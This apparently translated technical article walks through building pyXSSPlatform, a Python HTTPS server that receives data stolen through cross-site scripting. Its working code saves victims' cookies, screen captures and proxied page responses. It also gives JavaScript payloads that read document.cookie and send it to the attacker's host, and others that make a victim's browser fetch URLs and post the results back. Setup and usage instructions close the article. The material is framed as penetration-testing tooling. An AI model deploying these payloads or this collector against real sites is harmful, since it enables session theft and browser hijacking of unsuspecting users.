0x00 Preface

---

Using an XSS platform facilitates testing of XSS vulnerabilities and obtaining critical information. Currently, there are many available online XSS platforms, and one can also attempt to build their own XSS platform.

However, if the test target cannot access external networks, we need to set up a lightweight XSS platform within the internal network, which must be easy to install and support cross-platform compatibility.

I have not yet found a suitable open-source tool, so I plan to write a command-line tool using Python to provide the functionality of an XSS platform.

0x01 Introduction

---

This article will cover the following topics:

  • Design Approach
  • Implementation Details
  • Open Source Code

0x02 Design Approach

---

Following the XSS platform model, the command-line tool needs to provide the following functionalities:

1. Create an HTTPS server to provide web services

2. Distinguish different types of data, extract key content, and save it

3. Modularize functions for easy secondary development

0x03 Implementation Details

---

1. Create an HTTPS server to provide web services

First, create a certificate. You can use openssl with the following command:

openssl req -new -x509 -keyout https_svr_key.pem -out https_svr_key.pem -days 3650 -nodes

Generate the certificate file https_svr_key.pem

Python3 test code for creating an HTTPS server:

from http.server import SimpleHTTPRequestHandler
from http import server
import ssl

class RequestHandler(SimpleHTTPRequestHandler):
def do_GET(self):
f = self.send_head()
if f:
self.copyfile(f, self.wfile)
f.close()

port = 443
httpd = server.HTTPServer(("0.0.0.0", port), RequestHandler)

httpd.socket = ssl.wrap_socket(httpd.socket, certfile="https_svr_key.pem", server_side=True)

print("HTTPS Server listening on 0.0.0.0:%d" % port)
httpd.serve_forever()

The above code will create a WEB server supporting HTTPS protocol, with functionality similar to python -m SimpleHTTPServer 8000

2. Distinguish different data, extract key content and save

Need to customize the processing module RequestHandler to handle GET and POST packets

The code for handling GET packets is as follows:

class RequestHandler(SimpleHTTPRequestHandler):
def do_GET(self):
f = self.send_head()
if f:
self.copyfile(f, self.wfile)
f.close()
print(self.headers["User-Agent"])
if "/cookie" in self.path:
localtime = time.strftime("%Y%m%d-%H%M%S", time.localtime())
savePath = self.client_address[0] + "-Cookie-" + str(localtime) + ".txt"
print("[+] New Cookie: ")
print(" Save as: " + savePath)
cookieData = urllib.parse.unquote(self.path[15:])
file = open(savePath,'wb')
file.write(cookieData.encode())
file.close()

Among these, print(self.headers) is used to output the Header content of the GET request, which can be used to identify the user's browser

To obtain user cookies, a custom format is adopted here. If the GET request address contains the string 'cookie', the request content is saved as a file to store the acquired user cookies.

The code for processing POST packets is as follows:

class RequestHandler(SimpleHTTPRequestHandler):
def do_POST(self):
data = "Success"
self.send_response(200)
self.send_header("Content-type", "text/plain")
self.end_headers()
self.wfile.write(data.encode("utf-8"))
req_datas = self.rfile.read(int(self.headers["content-length"]))
print(self.headers["User-Agent"])
if self.path == "/screen":
localtime = time.strftime("%Y%m%d-%H%M%S", time.localtime())
savePath = self.client_address[0] + "-CaptureScreen-" + str(localtime) + ".png"
print("[+] New CaptureScreen: ")
print(" Save as: " + savePath)
base64str = urllib.parse.unquote(req_datas.decode())
base64str = base64str[33:]
imgData = base64.b64decode(base64str)
file = open(savePath,'wb')
file.write(imgData)
file.close()
elif self.path == "/data":
localtime = time.strftime("%Y%m%d-%H%M%S", time.localtime())
savePath = self.client_address[0] + "-XMLHttpRequest-" + str(localtime) + ".html"
httpData = urllib.parse.unquote(req_datas.decode())
index = httpData.index(';data=')
targetURL = httpData[9:index]
responseData = httpData[index+6:]
print("[+] New XMLHttpRequest")
print(" TargetURL: " + targetURL)
print(" Save as: " + savePath)
file = open(savePath,'wb')
file.write(responseData.encode())
file.close()
else:
print(req_datas.decode())

The above code will uniformly reply with the text content "Success" and a status code of 200 for POST packets.

It evaluates the address of the POST request, corresponding to the following three functions respectively:

(1) Save user screen capture

Request address is /screen

Extract image data from POST request parameters, perform Base64 decoding, and save

(2) Control user to send HTTP data packets to a specified address and save the returned result

Request address is /data

Extract data from POST request parameters and save

(3) Default functionality

Command line output of POST request parameters

Note:

When extracting data content for the above three functionalities, decoding with urllib.parse.unquote() is required

3. Modular functionality for easy secondary development

The default access address for the XSS platform is: https:///index.js

After creating the HTTPS server, you only need to edit index.js in the same directory as the Python script

The following describes the functionalities implemented by these two js scripts:

(1) Retrieve user cookies

To read user cookies, use document.cookie

When returning cookie data, to avoid cross-origin issues, you can use the Image object. Example code is as follows:

var serverUrl = "https:///cookie";//change this
var newimg = new Image();
newimg.src=serverUrl+"?cookie="+escape(document.cookie);

Using the Image object only allows sending GET requests, cannot obtain response content, and can only determine whether there is a response through onerror and onload events

(2) Sending HTTP requests via JavaScript

HTTP requests support GET and POST, and also need to distinguish between synchronous and asynchronous methods

For synchronous methods, once the call starts, the caller must wait until the method call returns before proceeding with subsequent actions. To send the request result back to the server, you can obtain the return result of the data packet via return and then transmit it back

For asynchronous methods, once the call starts, the method call returns immediately. To send the request result back to the server, this can be achieved through a callback function

A simple understanding of the callback function: a function can be called as a parameter in another function

For example, the following code:

function test1(callback)
{
a=1
callback(a)
}
test1(function(x){console.log(x)})

After executing the code, 1 will be output to the console

In summary, to send a GET data packet to a specified URL and return the request result to the server, two methods can be used:

Method 1: Synchronous method

function initialize() {
var xmlHttp;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
return xmlHttp;
}
function getSynchronous(url) {
var xmlHttp=initialize();
xmlhttp.open("GET",url,false);
xmlhttp.send();
return xmlhttp.responseText;
}
function postSynchronous(url, data, type) {
var xmlHttp=initialize();
xmlhttp.open("POST",url,false);
xmlhttp.setRequestHeader("Content-type",type);
xmlhttp.send(encodeURIComponent(data));
return xmlhttp.responseText;
}
var xmlhttp;
var serverUrl = "https:///data";
var targetUrl = "" + "?t=" + Math.random();
responseData=getSynchronous(targetUrl);
postSynchronous(serverUrl,"location=" + targetUrl + ";data=" + responseData, "application/x-www-form-urlencoded");

Method 2: Asynchronous Method + Callback Function

function initialize() {
var xmlHttp;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp = new XMLHttpRequest();
}
else
{// code for IE6, IE5
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
return xmlHttp;
}
function getAsynchronous(url, callback) {
var xmlHttp = initialize();
xmlhttp.open("GET", url, true);
xmlhttp.send();
xmlhttp.onreadystatechange = function()
{
if (xmlhttp.readyState == 4 && xmlhttp.status == 200)
{
if (callback)
{
callback(xmlhttp.responseText);
}
}
}
}
function postAsynchronous(url, data, type, callback) {
var xmlHttp = initialize();
xmlhttp.open("POST",url,true);
xmlhttp.setRequestHeader("Content-type",type);
xmlhttp.send(encodeURIComponent(data));
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
if (callback)
{
callback(a.responseText);
}
}
}
}
var xmlhttp;
var serverUrl = "https:///data"
var targetUrl = "" + "?t=" + Math.random();
getAsynchronous(targetUrl, function(responseText){postAsynchronous(serverUrl, "location=" + targetUrl + ";data=" + responseText, "application/x-www-form-urlencoded", "");});

Note:

Adding the parameter "?t=" + Math.random() when sending the request is to prevent receiving cached pages from the server.

For Chrome browser, when sending HTTP requests for cross-origin access, Chrome will indicate that the request is blocked by the CORS policy, but this does not affect the sending and receiving of data.

0x04 Open Source Code

---

The complete code has been open-sourced, with the address as follows:

An open-source project

pyXSSPlatform can be run directly from the command line and supports the following three functions:

  • GetCookie, obtains user cookies and saves them as .txt files
  • CaptureScreen, captures the user's screen and saves it as a .png file
  • GET/POST, controls the user to send HTTP data packets to a specified address, with results saved as .html files

Usage:

(1) Generate a self-signed certificate using openssl, command example:

openssl req -new -x509 -keyout https_svr_key.pem -out https_svr_key.pem -days 3650 -nodes

(2) Edit the file index.js

Fill in the JS code to be loaded, code templates can refer to files in Payload_Template

(3) Start the WEB server, command example:

pyXSSPlatform.py 192.168.1.1 443 https_svr_key.pem

At this point, the startup address of the XSS platform is as follows:

https://192.168.1.1/index.js

You can modify index.js at any time to control users to execute different functions

0x05 Summary

---

This article introduces the method of building an HTTPS server with Python and implementing an XSS platform via command line, using the open-source tool pyXSSPlatform. It is easy to operate, supports cross-platform running, and allows for secondary development.